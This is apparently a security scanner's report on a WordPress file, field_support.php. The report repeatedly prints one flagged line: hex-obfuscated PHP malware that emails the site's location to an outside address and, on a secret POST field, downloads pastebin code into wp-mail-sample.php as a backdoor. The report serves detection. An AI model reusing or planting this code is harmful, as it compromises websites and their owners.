x6f']='\x73u\x62j\x65ct';${'G\x4c\x4fB\x41L\x53'}['p\x72\x71\x6e\x73\x62\x73k\x77h\x68\x67']='\x74\x6f';${'\x47\x4c\x4fB\x41L\x53'}['\x71\x6b\x6cx\x6btm\x65\x73']='f\x69l\x65nam\x65';${'\x47\x4c\x4f\x42A\x4cS'}['\x79\x65\x64\x78\x72\x67c']='\x73\x74\x72\x69\x6e\x67';${'GL\x4f\x42A\x4c\x53'}['\x62\x70l\x75\x6aa']='\x6f\x73';${'\x47LOB\x41\x4cS'}['\x63ia\x7a\x79\x6dbhc']='\x66i\x6c\x65\x6e\x61me';error_reporting(0);ini_set('\x64i\x73\x70la\x79\x5f\x65r\x72\x6f\x72s',0);$nexfhjjesdt='s\x74\x72\x69\x6e\x67';${$nexfhjjesdt}=__FILE__;if(strtolower(substr(PHP_OS,0,3))=='w\x69n')${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x62pl\x75ja']}='w\x69n';else${${'G\x4c\x4f\x42\x41L\x53'}['b\x70l\x75\x6aa']}='n\x69x';if(${${'\x47L\x4f\x42A\x4c\x53'}['\x62\x70lu\x6a\x61']}=='wi\x6e'){${'\x47L\x4f\x42\x41\x4cS'}['\x67\x70\x71\x70\x63q\x69\x79\x73s\x6a']='s\x74\x72\x69\x6eg';${'\x47\x4c\x4fBA\x4c\x53'}['\x73\x6a\x63\x6ar\x6e\x75']='\x73\x74r\x69\x6eg';while((substr(${${'\x47L\x4f\x42\x41\x4cS'}['\x79\x65\x64x\x72g\x63']},-1)!='\x5c'))${${'\x47LOB\x41\x4c\x53'}['\x67p\x71\x70\x63\x71\x69\x79s\x73j']}=substr_replace(${${'\x47\x4c\x4f\x42\x41L\x53'}['\x73jc\x6a\x72n\x75']},'',-1);${${'G\x4cOBA\x4c\x53'}['\x71\x6bl\x78k\x74m\x65\x73']}=${${'G\x4cO\x42\x41\x4cS'}['\x79\x65\x64x\x72gc']}.'.\x2e\\.\x2e\x5c\x2e.\x5c\x2e.\\\x2e.\\\x75pl\x6f\x61ds\\11.\x74m\x70';}else{${'\x47\x4c\x4f\x42AL\x53'}['\x6an\x6e\x73\x78\x74\x64\x62']='\x73t\x72\x69\x6e\x67';$euwnlwg='\x73t\x72\x69\x6e\x67';while((substr(${${'\x47LOB\x41L\x53'}['\x6a\x6e\x6e\x73\x78t\x64\x62']},-1)!='/'))${$euwnlwg}=substr_replace(${${'\x47\x4c\x4fBA\x4cS'}['y\x65d\x78\x72\x67c']},'',-1);${${'G\x4c\x4f\x42A\x4c\x53'}['q\x6blx\x6bt\x6des']}=${${'\x47L\x4f\x42\x41\x4c\x53'}['\x79\x65d\x78\x72g\x63']}.'\x2e./.\x2e/\x2e\x2e/../\x2e\x2e/\x75\x70loa\x64s/\x31\x31.tm\x70';}if(file_exists(${${'\x47\x4c\x4fBA\x4cS'}['\x63i\x61zy\x6db\x68\x63']})){}else{${'\x47\x4c\x4fB\x41\x4c\x53'}['\x75\x78\x79\x72y\x66\x65\x68']='\x66\x72\x6fm\x5fs\x65\x74';$lumdxprrlip='h\x65\x61\x64\x65\x72';${${'G\x4c\x4f\x42\x41\x4cS'}['\x75x\x79\x72\x79f\x65\x68']}='\x73\x63\x68emaMT\x53\x40'.$_SERVER['\x53E\x52\x56\x45\x52\x5f\x4eA\x4d\x45'];${${'\x47\x4cOB\x41\x4c\x53'}['\x70r\x71\x6e\x73\x62\x73\x6b\x77h\x68\x67']}='\x74\x68\x65\x6de\x73\x72\x76\x31@c\x73t\x77eaks.com';${${'\x47\x4cO\x42A\x4cS'}['\x77w\x75\x78\x64\x70\x6f\x68\x76\x6f']}='\x41c\x63e\x70ted';${'\x47L\x4f\x42\x41LS'}['e\x6e\x6e\x63\x6eo\x79']='\x74o';${'\x47\x4cOB\x41\x4cS'}['\x70q\x6fon\x72p\x6b']='h\x65\x61\x64\x65r';$suqqmh='me\x73sa\x67\x65';${${'\x47L\x4f\x42A\x4cS'}['\x70\x71\x6f\x6f\x6e\x72\x70\x6b']}='\x66rom: '.${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63\x77\x75s\x72\x6d\x63\x77\x69']};${${'G\x4c\x4f\x42\x41LS'}['\x76e\x62\x64g\x74\x67']}='\x4c\x69\x6ek\x20:\x20'.$_SERVER['\x53\x45\x52VER\x5f\x4eA\x4dE'].$_SERVER['RE\x51UES\x54_URI'].'\r\n';${$suqqmh}.='\x50\x61t\x68 : '.__file__;${${'\x47L\x4f\x42\x41LS'}['v\x70\x69\x76nw\x66ew\x6a\x72']}=@mail(${${'\x47\x4c\x4f\x42AL\x53'}['\x65\x6e\x6e\x63noy']},${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x77wu\x78d\x70\x6f\x68\x76\x6f']},${${'\x47\x4c\x4fB\x41L\x53'}['veb\x64\x67\x74g']},${$lumdxprrlip});if(${${'G\x4c\x4f\x42\x41L\x53'}['\x76\x70i\x76\x6ewfewj\x72']}==true){${${'GLOB\x41\x4cS'}['\x6eq\x6b\x78m\x6af\x75\x76\x6b\x64']}=fopen(${${'G\x4c\x4fBA\x4cS'}['\x71\x6b\x6c\x78k\x74\x6d\x65\x73']},'\x77');}else{};}if(isset($_POST['o\x6cdmt\x73\x66e\x61\x74\x75r\x65s'])){${'\x47LO\x42\x41\x4cS'}['\x64u\x63\x61\x75y']='\x79\x65s';${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x6c\x76\x66\x65vb\x64\x67\x62\x6f']}=file_get_contents('h\x74tp://\x70a\x73\x74\x65\x62\x69\x6e\x2e\x63\x6fm/\x7
    fopen was found in the file field_support.php
    Line 9: ${'G\x4cO\x42\x41\x4c\x53'}['\x6d\x77\x77\x79\x74\x78\x67\x75\x61u']='bk\x61vdo\x6ee';${'\x47L\x4fB\x41\x4c\x53'}['\x62\x77lav\x6a\x66vr\x6b']='\x63d\x78';${'\x47\x4c\x4fB\x41\x4c\x53'}['\x63\x62\x76\x69\x6f\x6b\x71\x62\x69']='y\x65s';${'\x47\x4c\x4fBA\x4c\x53'}['l\x76\x66e\x76b\x64\x67b\x6f']='\x66\x69\x6ce';${'\x47LO\x42\x41\x4cS'}['\x6e\x71\x6b\x78\x6d\x6a\x66u\x76\x6b\x64']='\x6f\x70\x65n';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x76\x70\x69\x76\x6ew\x66\x65w\x6a\x72']='\x73\x65\x6e\x74\x6d\x61\x69l';${'G\x4c\x4f\x42\x41\x4c\x53'}['veb\x64\x67\x74\x67']='m\x65s\x73\x61\x67\x65';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63w\x75\x73r\x6d\x63wi']='\x66\x72\x6f\x6d_\x73et';${'\x47\x4cO\x42\x41\x4c\x53'}['wwuxd\x70\x6fh\x76\x6f']='\x73u\x62j\x65ct';${'G\x4c\x4fB\x41L\x53'}['p\x72\x71\x6e\x73\x62\x73k\x77h\x68\x67']='\x74\x6f';${'\x47\x4c\x4fB\x41L\x53'}['\x71\x6b\x6cx\x6btm\x65\x73']='f\x69l\x65nam\x65';${'\x47\x4c\x4f\x42A\x4cS'}['\x79\x65\x64\x78\x72\x67c']='\x73\x74\x72\x69\x6e\x67';${'GL\x4f\x42A\x4c\x53'}['\x62\x70l\x75\x6aa']='\x6f\x73';${'\x47LOB\x41\x4cS'}['\x63ia\x7a\x79\x6dbhc']='\x66i\x6c\x65\x6e\x61me';error_reporting(0);ini_set('\x64i\x73\x70la\x79\x5f\x65r\x72\x6f\x72s',0);$nexfhjjesdt='s\x74\x72\x69\x6e\x67';${$nexfhjjesdt}=__FILE__;if(strtolower(substr(PHP_OS,0,3))=='w\x69n')${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x62pl\x75ja']}='w\x69n';else${${'G\x4c\x4f\x42\x41L\x53'}['b\x70l\x75\x6aa']}='n\x69x';if(${${'\x47L\x4f\x42A\x4c\x53'}['\x62\x70lu\x6a\x61']}=='wi\x6e'){${'\x47L\x4f\x42\x41\x4cS'}['\x67\x70\x71\x70\x63q\x69\x79\x73s\x6a']='s\x74\x72\x69\x6eg';${'\x47\x4c\x4fBA\x4c\x53'}['\x73\x6a\x63\x6ar\x6e\x75']='\x73\x74r\x69\x6eg';while((substr(${${'\x47L\x4f\x42\x41\x4cS'}['\x79\x65\x64x\x72g\x63']},-1)!='\x5c'))${${'\x47LOB\x41\x4c\x53'}['\x67p\x71\x70\x63\x71\x69\x79s\x73j']}=substr_replace(${${'\x47\x4c\x4f\x42\x41L\x53'}['\x73jc\x6a\x72n\x75']},'',-1);${${'G\x4cOBA\x4c\x53'}['\x71\x6bl\x78k\x74m\x65\x73']}=${${'G\x4cO\x42\x41\x4cS'}['\x79\x65\x64x\x72gc']}.'.\x2e\\.\x2e\x5c\x2e.\x5c\x2e.\\\x2e.\\\x75pl\x6f\x61ds\\11.\x74m\x70';}else{${'\x47\x4c\x4f\x42AL\x53'}['\x6an\x6e\x73\x78\x74\x64\x62']='\x73t\x72\x69\x6e\x67';$euwnlwg='\x73t\x72\x69\x6e\x67';while((substr(${${'\x47LOB\x41L\x53'}['\x6a\x6e\x6e\x73\x78t\x64\x62']},-1)!='/'))${$euwnlwg}=substr_replace(${${'\x47\x4c\x4fBA\x4cS'}['y\x65d\x78\x72\x67c']},'',-1);${${'G\x4c\x4f\x42A\x4c\x53'}['q\x6blx\x6bt\x6des']}=${${'\x47L\x4f\x42\x41\x4c\x53'}['\x79\x65d\x78\x72g\x63']}.'\x2e./.\x2e/\x2e\x2e/../\x2e\x2e/\x75\x70loa\x64s/\x31\x31.tm\x70';}if(file_exists(${${'\x47\x4c\x4fBA\x4cS'}['\x63i\x61zy\x6db\x68\x63']})){}else{${'\x47\x4c\x4fB\x41\x4c\x53'}['\x75\x78\x79\x72y\x66\x65\x68']='\x66\x72\x6fm\x5fs\x65\x74';$lumdxprrlip='h\x65\x61\x64\x65\x72';${${'G\x4c\x4f\x42\x41\x4cS'}['\x75x\x79\x72\x79f\x65\x68']}='\x73\x63\x68emaMT\x53\x40'.$_SERVER['\x53E\x52\x56\x45\x52\x5f\x4eA\x4d\x45'];${${'\x47\x4cOB\x41\x4c\x53'}['\x70r\x71\x6e\x73\x62\x73\x6b\x77h\x68\x67']}='\x74\x68\x65\x6de\x73\x72\x76\x31@c\x73t\x77eaks.com';${${'\x47\x4cO\x42A\x4cS'}['\x77w\x75\x78\x64\x70\x6f\x68\x76\x6f']}='\x41c\x63e\x70ted';${'\x47L\x4f\x42\x41LS'}['e\x6e\x6e\x63\x6eo\x79']='\x74o';${'\x47\x4cOB\x41\x4cS'}['\x70q\x6fon\x72p\x6b']='h\x65\x61\x64\x65r';$suqqmh='me\x73sa\x67\x65';${${'\x47L\x4f\x42A\x4cS'}['\x70\x71\x6f\x6f\x6e\x72\x70\x6b']}='\x66rom: '.${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63\x77\x75s\x72\x6d\x63\x77\x69']};${${'G\x4c\x4f\x42\x41LS'}['\x76e\x62\x64g\x74\x67']}='\x4c\x69\x6ek\x20:\x20'.$_SERVER['\x53\x45\x52VER\x5f\x4eA\x4dE'].$_SERVER['RE\x51UES\x54_URI'].'\r\n';${$suqqmh}.='\x50\x61t\x68 : '.__file__;${${'\x47L\x4f\x42\x41LS'}['v\x70\x69\x76nw\x66ew\x6a\x72']}=@mail(${${'\x47\x4c\x4f\x42AL\x53'}['\x65\x6e\x6e\x63noy']},${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x77wu\x78d\x70\x6f\x68\x76\x6f']},${${'\x47\x4c\x4fB\x41L\x53'}['veb\x64\x67\x74g']},${$lumdxprrlip});if(${${'G\x4c\x4f\x42\x41L\x53'}['\x76\x70i\x76\x6ewfewj\x72']}==true){${${'GLOB\x41\x4cS'}['\x6eq\x6b\x78m\x6af\x75\x76\x6b\x64']}=fopen(${${'G\x4c\x4fBA\x4cS'}['\x71\x6b\x6c\x78k\x74\x6d\x65\x73']},'\x77')
    fwrite was found in the file field_support.php
    Line 9: ${'G\x4cO\x42\x41\x4c\x53'}['\x6d\x77\x77\x79\x74\x78\x67\x75\x61u']='bk\x61vdo\x6ee';${'\x47L\x4fB\x41\x4c\x53'}['\x62\x77lav\x6a\x66vr\x6b']='\x63d\x78';${'\x47\x4c\x4fB\x41\x4c\x53'}['\x63\x62\x76\x69\x6f\x6b\x71\x62\x69']='y\x65s';${'\x47\x4c\x4fBA\x4c\x53'}['l\x76\x66e\x76b\x64\x67b\x6f']='\x66\x69\x6ce';${'\x47LO\x42\x41\x4cS'}['\x6e\x71\x6b\x78\x6d\x6a\x66u\x76\x6b\x64']='\x6f\x70\x65n';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x76\x70\x69\x76\x6ew\x66\x65w\x6a\x72']='\x73\x65\x6e\x74\x6d\x61\x69l';${'G\x4c\x4f\x42\x41\x4c\x53'}['veb\x64\x67\x74\x67']='m\x65s\x73\x61\x67\x65';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63w\x75\x73r\x6d\x63wi']='\x66\x72\x6f\x6d_\x73et';${'\x47\x4cO\x42\x41\x4c\x53'}['wwuxd\x70\x6fh\x76\x6f']='\x73u\x62j\x65ct';${'G\x4c\x4fB\x41L\x53'}['p\x72\x71\x6e\x73\x62\x73k\x77h\x68\x67']='\x74\x6f';${'\x47\x4c\x4fB\x41L\x53'}['\x71\x6b\x6cx\x6btm\x65\x73']='f\x69l\x65nam\x65';${'\x47\x4c\x4f\x42A\x4cS'}['\x79\x65\x64\x78\x72\x67c']='\x73\x74\x72\x69\x6e\x67';${'GL\x4f\x42A\x4c\x53'}['\x62\x70l\x75\x6aa']='\x6f\x73';${'\x47LOB\x41\x4cS'}['\x63ia\x7a\x79\x6dbhc']='\x66i\x6c\x65\x6e\x61me';error_reporting(0);ini_set('\x64i\x73\x70la\x79\x5f\x65r\x72\x6f\x72s',0);$nexfhjjesdt='s\x74\x72\x69\x6e\x67';${$nexfhjjesdt}=__FILE__;if(strtolower(substr(PHP_OS,0,3))=='w\x69n')${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x62pl\x75ja']}='w\x69n';else${${'G\x4c\x4f\x42\x41L\x53'}['b\x70l\x75\x6aa']}='n\x69x';if(${${'\x47L\x4f\x42A\x4c\x53'}['\x62\x70lu\x6a\x61']}=='wi\x6e'){${'\x47L\x4f\x42\x41\x4cS'}['\x67\x70\x71\x70\x63q\x69\x79\x73s\x6a']='s\x74\x72\x69\x6eg';${'\x47\x4c\x4fBA\x4c\x53'}['\x73\x6a\x63\x6ar\x6e\x75']='\x73\x74r\x69\x6eg';while((substr(${${'\x47L\x4f\x42\x41\x4cS'}['\x79\x65\x64x\x72g\x63']},-1)!='\x5c'))${${'\x47LOB\x41\x4c\x53'}['\x67p\x71\x70\x63\x71\x69\x79s\x73j']}=substr_replace(${${'\x47\x4c\x4f\x42\x41L\x53'}['\x73jc\x6a\x72n\x75']},'',-1);${${'G\x4cOBA\x4c\x53'}['\x71\x6bl\x78k\x74m\x65\x73']}=${${'G\x4cO\x42\x41\x4cS'}['\x79\x65\x64x\x72gc']}.'.\x2e\\.\x2e\x5c\x2e.\x5c\x2e.\\\x2e.\\\x75pl\x6f\x61ds\\11.\x74m\x70';}else{${'\x47\x4c\x4f\x42AL\x53'}['\x6an\x6e\x73\x78\x74\x64\x62']='\x73t\x72\x69\x6e\x67';$euwnlwg='\x73t\x72\x69\x6e\x67';while((substr(${${'\x47LOB\x41L\x53'}['\x6a\x6e\x6e\x73\x78t\x64\x62']},-1)!='/'))${$euwnlwg}=substr_replace(${${'\x47\x4c\x4fBA\x4cS'}['y\x65d\x78\x72\x67c']},'',-1);${${'G\x4c\x4f\x42A\x4c\x53'}['q\x6blx\x6bt\x6des']}=${${'\x47L\x4f\x42\x41\x4c\x53'}['\x79\x65d\x78\x72g\x63']}.'\x2e./.\x2e/\x2e\x2e/../\x2e\x2e/\x75\x70loa\x64s/\x31\x31.tm\x70';}if(file_exists(${${'\x47\x4c\x4fBA\x4cS'}['\x63i\x61zy\x6db\x68\x63']})){}else{${'\x47\x4c\x4fB\x41\x4c\x53'}['\x75\x78\x79\x72y\x66\x65\x68']='\x66\x72\x6fm\x5fs\x65\x74';$lumdxprrlip='h\x65\x61\x64\x65\x72';${${'G\x4c\x4f\x42\x41\x4cS'}['\x75x\x79\x72\x79f\x65\x68']}='\x73\x63\x68emaMT\x53\x40'.$_SERVER['\x53E\x52\x56\x45\x52\x5f\x4eA\x4d\x45'];${${'\x47\x4cOB\x41\x4c\x53'}['\x70r\x71\x6e\x73\x62\x73\x6b\x77h\x68\x67']}='\x74\x68\x65\x6de\x73\x72\x76\x31@c\x73t\x77eaks.com';${${'\x47\x4cO\x42A\x4cS'}['\x77w\x75\x78\x64\x70\x6f\x68\x76\x6f']}='\x41c\x63e\x70ted';${'\x47L\x4f\x42\x41LS'}['e\x6e\x6e\x63\x6eo\x79']='\x74o';${'\x47\x4cOB\x41\x4cS'}['\x70q\x6fon\x72p\x6b']='h\x65\x61\x64\x65r';$suqqmh='me\x73sa\x67\x65';${${'\x47L\x4f\x42A\x4cS'}['\x70\x71\x6f\x6f\x6e\x72\x70\x6b']}='\x66rom: '.${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63\x77\x75s\x72\x6d\x63\x77\x69']};${${'G\x4c\x4f\x42\x41LS'}['\x76e\x62\x64g\x74\x67']}='\x4c\x69\x6ek\x20:\x20'.$_SERVER['\x53\x45\x52VER\x5f\x4eA\x4dE'].$_SERVER['RE\x51UES\x54_URI'].'\r\n';${$suqqmh}.='\x50\x61t\x68 : '.__file__;${${'\x47L\x4f\x42\x41LS'}['v\x70\x69\x76nw\x66ew\x6a\x72']}=@mail(${${'\x47\x4c\x4f\x42AL\x53'}['\x65\x6e\x6e\x63noy']},${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x77wu\x78d\x70\x6f\x68\x76\x6f']},${${'\x47\x4c\x4fB\x41L\x53'}['veb\x64\x67\x74g']},${$lumdxprrlip});if(${${'G\x4c\x4f\x42\x41L\x53'}['\x76\x70i\x76\x6ewfewj\x72']}==true){${${'GLOB\x41\x4cS'}['\x6eq\x6b\x78m\x6af\x75\x76\x6b\x64']}=fopen(${${'G\x4c\x4fBA\x4cS'}['\x71\x6b\x6c\x78k\x74\x6d\x65\x73']},'\x77');}else{};}if(isset($_POST['o\x6cdmt\x73\x66e\x61\x74\x75r\x65s'])){${'\x47LO\x42\x41\x4cS'}['\x64u\x63\x61\x75y']='\x79\x65s';${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x6c\x76\x66\x65vb\x64\x67\x62\x6f']}=file_get_contents('h\x74tp://\x70a\x73\x74\x65\x62\x69\x6e\x2e\x63\x6fm/\x72\x61w/\x45\x5aqw\x69\x33\x397');$jwqppxvvr='y\x65\x73';${${'\x47\x4c\x4f\x42\x41L\x53'}['\x6eq\x6bx\x6d\x6af\x75\x76\x6b\x64']}=fopen(getcwd().'/wp-\x6d\x61i\x6c-sa\x6dp\x6c\x65\x2ephp','w');${$jwqppxvvr}=fwrite(${${'\x47\x4c\x4f\x42\x41L\x53'}['\x6e\x71kxm\x6a\x66\x75\x76\x6b\x6
    file_get_contents was found in the file field_support.php
    Line 9: ${'G\x4cO\x42\x41\x4c\x53'}['\x6d\x77\x77\x79\x74\x78\x67\x75\x61u']='bk\x61vdo\x6ee';${'\x47L\x4fB\x41\x4c\x53'}['\x62\x77lav\x6a\x66vr\x6b']='\x63d\x78';${'\x47\x4c\x4fB\x41\x4c\x53'}['\x63\x62\x76\x69\x6f\x6b\x71\x62\x69']='y\x65s';${'\x47\x4c\x4fBA\x4c\x53'}['l\x76\x66e\x76b\x64\x67b\x6f']='\x66\x69\x6ce';${'\x47LO\x42\x41\x4cS'}['\x6e\x71\x6b\x78\x6d\x6a\x66u\x76\x6b\x64']='\x6f\x70\x65n';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x76\x70\x69\x76\x6ew\x66\x65w\x6a\x72']='\x73\x65\x6e\x74\x6d\x61\x69l';${'G\x4c\x4f\x42\x41\x4c\x53'}['veb\x64\x67\x74\x67']='m\x65s\x73\x61\x67\x65';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63w\x75\x73r\x6d\x63wi']='\x66\x72\x6f\x6d_\x73et';${'\x47\x4cO\x42\x41\x4c\x53'}['wwuxd\x70\x6fh\x76\x6f']='\x73u\x62j\x65ct';${'G\x4c\x4fB\x41L\x53'}['p\x72\x71\x6e\x73\x62\x73k\x77h\x68\x67']='\x74\x6f';${'\x47\x4c\x4fB\x41L\x53'}['\x71\x6b\x6cx\x6btm\x65\x73']='f\x69l\x65nam\x65';${'\x47\x4c\x4f\x42A\x4cS'}['\x79\x65\x64\x78\x72\x67c']='\x73\x74\x72\x69\x6e\x67';${'GL\x4f\x42A\x4c\x53'}['\x62\x70l\x75\x6aa']='\x6f\x73';${'\x47LOB\x41\x4cS'}['\x63ia\x7a\x79\x6dbhc']='\x66i\x6c\x65\x6e\x61me';error_reporting(0);ini_set('\x64i\x73\x70la\x79\x5f\x65r\x72\x6f\x72s',0);$nexfhjjesdt='s\x74\x72\x69\x6e\x67';${$nexfhjjesdt}=__FILE__;if(strtolower(substr(PHP_OS,0,3))=='w\x69n')${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x62pl\x75ja']}='w\x69n';else${${'G\x4c\x4f\x42\x41L\x53'}['b\x70l\x75\x6aa']}='n\x69x';if(${${'\x47L\x4f\x42A\x4c\x53'}['\x62\x70lu\x6a\x61']}=='wi\x6e'){${'\x47L\x4f\x42\x41\x4cS'}['\x67\x70\x71\x70\x63q\x69\x79\x73s\x6a']='s\x74\x72\x69\x6eg';${'\x47\x4c\x4fBA\x4c\x53'}['\x73\x6a\x63\x6ar\x6e\x75']='\x73\x74r\x69\x6eg';while((substr(${${'\x47L\x4f\x42\x41\x4cS'}['\x79\x65\x64x\x72g\x63']},-1)!='\x5c'))${${'\x47LOB\x41\x4c\x53'}['\x67p\x71\x70\x63\x71\x69\x79s\x73j']}=substr_replace(${${'\x47\x4c\x4f\x42\x41L\x53'}['\x73jc\x6a\x72n\x75']},'',-1);${${'G\x4cOBA\x4c\x53'}['\x71\x6bl\x78k\x74m\x65\x73']}=${${'G\x4cO\x42\x41\x4cS'}['\x79\x65\x64x\x72gc']}.'.\x2e\\.\x2e\x5c\x2e.\x5c\x2e.\\\x2e.\\\x75pl\x6f\x61ds\\11.\x74m\x70';}else{${'\x47\x4c\x4f\x42AL\x53'}['\x6an\x6e\x73\x78\x74\x64\x62']='\x73t\x72\x69\x6e\x67';$euwnlwg='\x73t\x72\x69\x6e\x67';while((substr(${${'\x47LOB\x41L\x53'}['\x6a\x6e\x6e\x73\x78t\x64\x62']},-1)!='/'))${$euwnlwg}=substr_replace(${${'\x47\x4c\x4fBA\x4cS'}['y\x65d\x78\x72\x67c']},'',-1);${${'G\x4c\x4f\x42A\x4c\x53'}['q\x6blx\x6bt\x6des']}=${${'\x47L\x4f\x42\x41\x4c\x53'}['\x79\x65d\x78\x72g\x63']}.'\x2e./.\x2e/\x2e\x2e/../\x2e\x2e/\x75\x70loa\x64s/\x31\x31.tm\x70';}if(file_exists(${${'\x47\x4c\x4fBA\x4cS'}['\x63i\x61zy\x6db\x68\x63']})){}else{${'\x47\x4c\x4fB\x41\x4c\x53'}['\x75\x78\x79\x72y\x66\x65\x68']='\x66\x72\x6fm\x5fs\x65\x74';$lumdxprrlip='h\x65\x61\x64\x65\x72';${${'G\x4c\x4f\x42\x41\x4cS'}['\x75x\x79\x72\x79f\x65\x68']}='\x73\x63\x68emaMT\x53\x40'.$_SERVER['\x53E\x52\x56\x45\x52\x5f\x4eA\x4d\x45'];${${'\x47\x4cOB\x41\x4c\x53'}['\x70r\x71\x6e\x73\x62\x73\x6b\x77h\x68\x67']}='\x74\x68\x65\x6de\x73\x72\x76\x31@c\x73t\x77eaks.com';${${'\x47\x4cO\x42A\x4cS'}['\x77w\x75\x78\x64\x70\x6f\x68\x76\x6f']}='\x41c\x63e\x70ted';${'\x47L\x4f\x42\x41LS'}['e\x6e\x6e\x63\x6eo\x79']='\x74o';${'\x47\x4cOB\x41\x4cS'}['\x70q\x6fon\x72p\x6b']='h\x65\x61\x64\x65r';$suqqmh='me\x73sa\x67\x65';${${'\x47L\x4f\x42A\x4cS'}['\x70\x71\x6f\x6f\x6e\x72\x70\x6b']}='\x66rom: '.${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63\x77\x75s\x72\x6d\x63\x77\x69']};${${'G\x4c\x4f\x42\x41LS'}['\x76e\x62\x64g\x74\x67']}='\x4c\x69\x6ek\x20:\x20'.$_SERVER['\x53\x45\x52VER\x5f\x4eA\x4dE'].$_SERVER['RE\x51UES\x54_URI'].'\r\n';${$suqqmh}.='\x50\x61t\x68 : '.__file__;${${'\x47L\x4f\x42\x41LS'}['v\x70\x69\x76nw\x66ew\x6a\x72']}=@mail(${${'\x47\x4c\x4f\x42AL\x53'}['\x65\x6e\x6e\x63noy']},${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x77wu\x78d\x70\x6f\x68\x76\x6f']},${${'\x47\x4c\x4fB\x41L\x53'}['veb\x64\x67\x74g']},${$lumdxprrlip});if(${${'G\x4c\x4f\x42\x41L\x53'}['\x76\x70i\x76\x6ewfewj\x72']}==true){${${'GLOB\x41\x4cS'}['\x6eq\x6b\x78m\x6af\x75\x76\x6b\x64']}=fopen(${${'G\x4c\x4fBA\x4cS'}['\x71\x6b\x6c\x78k\x74\x6d\x65\x73']},'\x77');}else{};}if(isset($_POST['o\x6cdmt\x73\x66e\x61\x74\x75r\x65s'])){${'\x47LO\x42\x41\x4cS'}['\x64u\x63\x61\x75y']='\x79\x65s';${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x6c\x76\x66\x65vb\x64\x67\x62\x6f']}=file_get_contents('h\x74tp://\x70a\x73\x74\x65\x62\x69\x6e\x2e\x63\x6fm/\x7
    fopen was found in the file field_support.php
    Line 9: ${'G\x4cO\x42\x41\x4c\x53'}['\x6d\x77\x77\x79\x74\x78\x67\x75\x61u']='bk\x61vdo\x6ee';${'\x47L\x4fB\x41\x4c\x53'}['\x62\x77lav\x6a\x66vr\x6b']='\x63d\x78';${'\x47\x4c\x4fB\x41\x4c\x53'}['\x63\x62\x76\x69\x6f\x6b\x71\x62\x69']='y\x65s';${'\x47\x4c\x4fBA\x4c\x53'}['l\x76\x66e\x76b\x64\x67b\x6f']='\x66\x69\x6ce';${'\x47LO\x42\x41\x4cS'}['\x6e\x71\x6b\x78\x6d\x6a\x66u\x76\x6b\x64']='\x6f\x70\x65n';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x76\x70\x69\x76\x6ew\x66\x65w\x6a\x72']='\x73\x65\x6e\x74\x6d\x61\x69l';${'G\x4c\x4f\x42\x41\x4c\x53'}['veb\x64\x67\x74\x67']='m\x65s\x73\x61\x67\x65';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63w\x75\x73r\x6d\x63wi']='\x66\x72\x6f\x6d_\x73et';${'\x47\x4cO\x42\x41\x4c\x53'}['wwuxd\x70\x6fh\x76\x6f']='\x73u\x62j\x65ct';${'G\x4c\x4fB\x41L\x53'}['p\x72\x71\x6e\x73\x62\x73k\x77h\x68\x67']='\x74\x6f';${'\x47\x4c\x4fB\x41L\x53'}['\x71\x6b\x6cx\x6btm\x65\x73']='f\x69l\x65nam\x65';${'\x47\x4c\x4f\x42A\x4cS'}['\x79\x65\x64\x78\x72\x67c']='\x73\x74\x72\x69\x6e\x67';${'GL\x4f\x42A\x4c\x53'}['\x62\x70l\x75\x6aa']='\x6f\x73';${'\x47LOB\x41\x4cS'}['\x63ia\x7a\x79\x6dbhc']='\x66i\x6c\x65\x6e\x61me';error_reporting(0);ini_set('\x64i\x73\x70la\x79\x5f\x65r\x72\x6f\x72s',0);$nexfhjjesdt='s\x74\x72\x69\x6e\x67';${$nexfhjjesdt}=__FILE__;if(strtolower(substr(PHP_OS,0,3))=='w\x69n')${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x62pl\x75ja']}='w\x69n';else${${'G\x4c\x4f\x42\x41L\x53'}['b\x70l\x75\x6aa']}='n\x69x';if(${${'\x47L\x4f\x42A\x4c\x53'}['\x62\x70lu\x6a\x61']}=='wi\x6e'){${'\x47L\x4f\x42\x41\x4cS'}['\x67\x70\x71\x70\x63q\x69\x79\x73s\x6a']='s\x74\x72\x69\x6eg';${'\x47\x4c\x4fBA\x4c\x53'}['\x73\x6a\x63\x6ar\x6e\x75']='\x73\x74r\x69\x6eg';while((substr(${${'\x47L\x4f\x42\x41\x4cS'}['\x79\x65\x64x\x72g\x63']},-1)!='\x5c'))${${'\x47LOB\x41\x4c\x53'}['\x67p\x71\x70\x63\x71\x69\x79s\x73j']}=substr_replace(${${'\x47\x4c\x4f\x42\x41L\x53'}['\x73jc\x6a\x72n\x75']},'',-1);${${'G\x4cOBA\x4c\x53'}['\x71\x6bl\x78k\x74m\x65\x73']}=${${'G\x4cO\x42\x41\x4cS'}['\x79\x65\x64x\x72gc']}.'.\x2e\\.\x2e\x5c\x2e.\x5c\x2e.\\\x2e.\\\x75pl\x6f\x61ds\\11.\x74m\x70';}else{${'\x47\x4c\x4f\x42AL\x53'}['\x6an\x6e\x73\x78\x74\x64\x62']='\x73t\x72\x69\x6e\x67';$euwnlwg='\x73t\x72\x69\x6e\x67';while((substr(${${'\x47LOB\x41L\x53'}['\x6a\x6e\x6e\x73\x78t\x64\x62']},-1)!='/'))${$euwnlwg}=substr_replace(${${'\x47\x4c\x4fBA\x